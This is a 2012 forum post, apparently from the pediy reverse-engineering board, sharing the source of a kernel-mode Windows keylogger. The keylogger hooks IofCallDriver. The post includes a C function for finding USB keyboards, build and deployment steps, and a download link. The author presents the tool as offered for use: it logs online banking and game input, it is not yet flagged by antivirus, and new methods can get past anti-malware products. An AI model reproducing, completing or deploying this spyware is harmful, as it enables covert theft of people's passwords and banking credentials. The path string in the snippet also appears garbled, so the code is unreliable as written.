标 题: 【分享】发个重口味的,ring0 keylog
作 者: layerfsd
时 间: 2012-10-21,21:26:51
链 接: http://bbs.pediy.com/showthread.php?t=157560
首先这个不是原创,这个是09年俄罗斯的一个组织开源过的一个代码,我略加改造而已,但貌似有的人不多。但找不到出生地了,而这个也被我改得面目全非了,原来的版权信息都没了,所以声明不了原作者的版权,抱歉了。
其次这个是能在xp--win7 32位下用的,keylog的那几种方式应该都玩烂了,这个貌似还没烂,这个是通过hook IofCallDriver来记录键盘信息的。貌似还没被报是“keyloger”。
之所以说重口味是因为以前测试的时候貌似是无所不记的,什么网银,什么游戏,什么什么什么。。。
不过这个改完了基本就废弃了,因为有bug,且对64不兼容,所以后来换了一种方式来搞。
bug的话我只能记得有俩;
1、ps2键盘的小键盘好像是记录有问题的,不过我简单处理了一下,参考client的代码
2、不能记录usb键盘的,不过这个貌似不是大问题,xkeylogger.cpp里的一个函数
代码:
GetKbdClassDevices
换成如下的,应该就可以了,但历史太久远,且我没保留这种临时代码的习惯,有需要可自己改改。
代码:
static ULONG GetKbdClassDevices() { UNICODE_STRING kbd; WCHAR tmp[256]; PDEVICE_OBJECT KbdDeviceObject,FoundKbdDeviceObject; NTSTATUS Status; PFILE_OBJECT FileObject; ULONG iClass; RtlInitUnicodeString(&kbd,L"Driverhidusb"); Status = IoGetDeviceObjectPointer(&kbd,FILE_READ_ATTRIBUTES,&FileObject,&KbdDeviceObject); if (NT_SUCCESS(Status)) { if (FoundKbdDeviceObject = FindReadKbdClass(KbdDeviceObject)) { KdPrint(("[XkeyLogger] : found usb n")); gKeyboardClassDevices[0] = FoundKbdDeviceObject; } } return 0; }
大概就这样了,使用方法是先用wdk7600编译出来“driver”下的驱动,然后在“client”目录下生成应用层通讯代码,最后把把生成的drv.sys拷贝到编译出来那个exe的目录。生成的keylog文件记录在programfiles下的log文件。
这份代码旨在老调重弹,重温一下键盘记录的一种方式与驱动与应用层通讯的一种方式。换个方式,很多Anti也许就失效了。
下载地址: keylog